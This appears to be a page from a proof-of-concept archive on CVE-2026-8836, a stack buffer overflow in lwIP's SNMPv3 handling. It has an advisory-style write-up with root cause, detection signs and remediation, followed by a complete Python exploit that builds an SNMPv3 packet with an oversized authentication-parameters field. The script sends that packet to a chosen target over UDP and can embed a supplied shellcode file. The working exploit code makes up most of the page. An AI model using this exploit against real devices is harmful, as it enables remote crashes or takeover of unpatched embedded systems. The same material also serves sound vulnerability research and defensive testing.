PoC Archive PoC Archive
Critical CVE-2026-8836 unpatched

lwIP SNMPv3 USM Stack-Based Buffer Overflow (CVE-2026-8836)

by Hunt-Benito · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-8836
Category
network
Affected product
lwIP (lightweight TCP/IP stack) — snmp_parse_inbound_frame() in src/apps/snmp/snmp_msg.c
Affected versions
lwIP <= 2.2.1 with LWIP_SNMP_V3 enabled
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherHunt-Benito
CVE / AdvisoryCVE-2026-8836
Categorynetwork
SeverityCritical
CVSS Score9.8
StatusPoC
Tagslwip, snmp, snmpv3, stack-overflow, embedded, rce, asn1, cwe-121
RelatedN/A

Affected Target

FieldValue
Software / SystemlwIP (lightweight TCP/IP stack) — snmp_parse_inbound_frame() in src/apps/snmp/snmp_msg.c
Versions AffectedlwIP <= 2.2.1 with LWIP_SNMP_V3 enabled
Language / PlatformC / embedded network stack
Authentication RequiredNo
Network Access RequiredYes (SNMPv3, typically UDP/161)

Summary

lwIP’s SNMPv3 User-based Security Model (USM) handler contains a stack-based buffer overflow in snmp_parse_inbound_frame(). A commented-out bounds check combined with an incorrect buffer-size parameter passed to snmp_asn1_dec_raw() allows an oversized msgAuthenticationParameters OCTET STRING (declared via its ASN.1 TLV length) to overflow the fixed 12-byte msg_authentication_parameters stack buffer (SNMP_V3_MAX_AUTH_PARAM_LENGTH), corrupting adjacent stack memory and enabling remote code execution on embedded devices using lwIP with SNMPv3 enabled.


Vulnerability Details

Root Cause

snmp_asn1_dec_raw() is called with tlv.value_len used as both the amount of data to read from the wire and the destination buffer’s maximum length; because the actual destination buffer (msg_authentication_parameters[12]) is fixed at 12 bytes and the internal bounds check that would normally catch this was commented out, an attacker-controlled TLV length greater than 12 causes a stack buffer overflow (CWE-121).

Attack Vector

  1. Construct a well-formed SNMPv3 message so it passes initial protocol validation.
  2. Set the msgAuthenticationParameters OCTET STRING’s ASN.1 TLV length to a value larger than 12 bytes (the true buffer size).
  3. Send the crafted packet to the target’s SNMP service (UDP/161).
  4. snmp_parse_inbound_frame() copies attacker-controlled data past the 12-byte stack buffer, corrupting the stack and potentially achieving control-flow hijack / remote code execution.

Impact

Remote code execution or denial of service on embedded/IoT devices running lwIP with LWIP_SNMP_V3 enabled, triggerable via a single crafted unauthenticated SNMPv3 packet.


Environment / Lab Setup

Target:   Device/firmware built with lwIP <= 2.2.1 and LWIP_SNMP_V3 enabled, SNMP service on UDP/161
Attacker: Any host able to reach the target's SNMP port (Python 3, exploit.py provided)

Proof of Concept

PoC Script

See exploit.py and requirements.txt in this folder.

1
2
3
4
5
python exploit.py --target 192.168.1.100 --port 161 --overflow-size 256

python exploit.py --target 192.168.1.100 --overflow-size 4096 --payload-file shellcode.bin

python exploit.py --target 192.168.1.100 --count 10 --delay 0.5

exploit.py constructs a valid SNMPv3 message with an oversized msgAuthenticationParameters OCTET STRING in the USM security parameters, setting the TLV length beyond the 12-byte buffer to trigger the stack overflow in snmp_parse_inbound_frame().


Detection & Indicators of Compromise

Signs of compromise:

  • SNMP service crashes or unexpected reboots on lwIP-based devices.
  • Oversized msgAuthenticationParameters fields in captured SNMPv3 traffic (length > 12 bytes).
  • Unexpected outbound connections or behavior from embedded devices following SNMP traffic on UDP/161.

Remediation

ActionDetail
Primary fixUpdate lwIP to the version containing commit 0c957ec0, which restores the bounds check
Interim mitigationDisable LWIP_SNMP_V3 if not required, or restrict SNMP access to trusted management networks/firewall rules

References


Notes

Mirrored from https://github.com/Hunt-Benito/lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce on 2026-07-05. Original clone URL provided in the source batch (Hunt-Benito/lwip-snmpv3-...-rce) was a truncated/placeholder name; the actual repository slug was resolved via the GitHub API before mirroring.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#!/usr/bin/env python3
"""
CVE-2026-8836 — lwIP SNMPv3 Stack-Based Buffer Overflow PoC

A proof-of-concept exploit for the stack-based buffer overflow in lwIP's
SNMPv3 USM handler (snmp_parse_inbound_frame). The vulnerability is caused
by a commented-out bounds check and an incorrect buffer-size parameter in
snmp_asn1_dec_raw(), allowing a remote, unauthenticated attacker to overflow
the 12-byte msg_authentication_parameters buffer on the stack.

Affected: lwIP <= 2.2.1 with LWIP_SNMP_V3 enabled
Fix: https://github.com/lwip-tcpip/lwip/commit/0c957ec03054eb6c8205e9c9d1d05d90ada3898c

DISCLAIMER: This PoC is for authorized security research and educational
purposes only. Do not use against systems you do not own or have explicit
permission to test.
"""

import argparse
import socket
import struct
import sys


class ASN1Encoder:
    def __init__(self):
        self.buffer = bytearray()

    def _encode_length(self, length):
        if length < 0x80:
            return bytes([length])
        elif length < 0x100:
            return bytes([0x81, length])
        elif length < 0x10000:
            return bytes([0x82, (length >> 8) & 0xFF, length & 0xFF])
        else:
            raise ValueError(f"Length too large: {length}")

    def _encode_tlv(self, tag, value):
        return bytes([tag]) + self._encode_length(len(value)) + value

    def integer(self, value):
        if value < 0:
            if value >= -128:
                encoded = struct.pack(">b", value)
            elif value >= -32768:
                encoded = struct.pack(">h", value)
            else:
                encoded = struct.pack(">i", value)
        else:
            if value <= 127:
                encoded = struct.pack(">B", value)
            elif value <= 255:
                encoded = struct.pack(">BB", 0, value)
            elif value <= 65535:
                encoded = struct.pack(">H", value)
            else:
                encoded = struct.pack(">I", value)
        return self._encode_tlv(0x02, encoded)

    def octet_string(self, data):
        if isinstance(data, str):
            data = data.encode()
        return self._encode_tlv(0x04, data)

    def sequence(self, items):
        content = b"".join(items)
        return self._encode_tlv(0x30, content)

    def null(self):
        return bytes([0x05, 0x00])

    def object_identifier(self, oid_str):
        parts = [int(x) for x in oid_str.split(".")]
        if len(parts) < 2 or parts[0] > 6 or parts[1] > 39:
            raise ValueError(f"Invalid OID: {oid_str}")

        encoded = bytearray()
        encoded.append(parts[0] * 40 + parts[1])
        for part in parts[2:]:
            if part == 0:
                encoded.append(0)
            else:
                sub_encoding = []
                val = part
                while val > 0:
                    sub_encoding.append((val & 0x7F) | 0x80)
                    val >>= 7
                sub_encoding[0] &= 0x7F
                encoded.extend(reversed(sub_encoding))

        return self._encode_tlv(0x06, bytes(encoded))


def build_get_request_pdu(oid, request_id=1):
    enc = ASN1Encoder()
    varbind = enc.sequence([
        enc.object_identifier(oid),
        enc.null(),
    ])
    varbind_list = enc.sequence([varbind])
    pdu = enc._encode_tlv(0xA0, b"".join([
        enc.integer(request_id),
        enc.integer(0),
        enc.integer(0),
        varbind_list,
    ]))
    return pdu


def build_malicious_snmpv3_packet(overflow_size=256, payload=None, request_id=1):
    enc = ASN1Encoder()

    if payload is None:
        overflow_data = b"\x41" * overflow_size
    else:
        if len(payload) > overflow_size:
            overflow_data = payload[:overflow_size]
        else:
            overflow_data = payload + b"\x00" * (overflow_size - len(payload))

    usm_security_params = enc.sequence([
        enc.octet_string(b"\x00"),
        enc.integer(0),
        enc.integer(0),
        enc.octet_string(b""),
        enc.octet_string(overflow_data),
        enc.octet_string(b""),
    ])

    pdu_data = build_get_request_pdu("1.3.6.1.2.1.1.1.0", request_id)
    scoped_pdu = enc.sequence([
        enc.octet_string(b""),
        enc.octet_string(b""),
        pdu_data,
    ])

    header_data = enc.sequence([
        enc.integer(1),
        enc.integer(65507),
        enc.octet_string(b"\x00"),
        enc.integer(3),
    ])

    snmpv3_message = enc.sequence([
        enc.integer(3),
        header_data,
        enc.octet_string(usm_security_params),
        scoped_pdu,
    ])

    return snmpv3_message


def send_packet(target, port, packet):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    try:
        sock.sendto(packet, (target, port))
        return True
    except Exception as e:
        print(f"[-] Error sending packet: {e}")
        return False
    finally:
        sock.close()


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-8836 lwIP SNMPv3 Stack Overflow PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --target 192.168.1.100
  %(prog)s --target 192.168.1.100 --overflow-size 512
  %(prog)s --target 192.168.1.100 --overflow-size 4096 --payload-file payload.bin
        """,
    )
    parser.add_argument("--target", required=True, help="Target IP address")
    parser.add_argument("--port", type=int, default=161, help="SNMP port (default: 161)")
    parser.add_argument(
        "--overflow-size",
        type=int,
        default=256,
        help="Size of msgAuthenticationParameters TLV value (default: 256)",
    )
    parser.add_argument(
        "--payload-file",
        help="File containing custom payload bytes for the overflow",
    )
    parser.add_argument(
        "--count",
        type=int,
        default=1,
        help="Number of packets to send (default: 1)",
    )
    parser.add_argument(
        "--delay",
        type=float,
        default=0.0,
        help="Delay between packets in seconds (default: 0)",
    )

    args = parser.parse_args()

    payload = None
    if args.payload_file:
        try:
            with open(args.payload_file, "rb") as f:
                payload = f.read()
            print(f"[*] Loaded payload: {args.payload_file} ({len(payload)} bytes)")
        except FileNotFoundError:
            print(f"[-] Payload file not found: {args.payload_file}")
            sys.exit(1)

    print(f"[*] Building malicious SNMPv3 packet...")
    print(f"[*] msgAuthenticationParameters TLV length: {args.overflow_size} (buffer size: 12)")
    print(f"[*] Overflow: {args.overflow_size - 12} bytes past buffer boundary")

    if args.overflow_size <= 12:
        print(f"[!] Warning: overflow-size ({args.overflow_size}) <= buffer size (12). No overflow will occur.")

    import time

    for i in range(args.count):
        packet = build_malicious_snmpv3_packet(
            overflow_size=args.overflow_size,
            payload=payload,
            request_id=i + 1,
        )
        print(f"[*] Packet {i+1}/{args.count}: {len(packet)} bytes → {args.target}:{args.port}")
        if send_packet(args.target, args.port, packet):
            print(f"[+] Packet {i+1} sent successfully.")
        else:
            print(f"[-] Packet {i+1} failed to send.")

        if args.delay > 0 and i < args.count - 1:
            time.sleep(args.delay)

    print(f"[*] Done. Target should crash or execute payload if vulnerable.")


if __name__ == "__main__":
    main()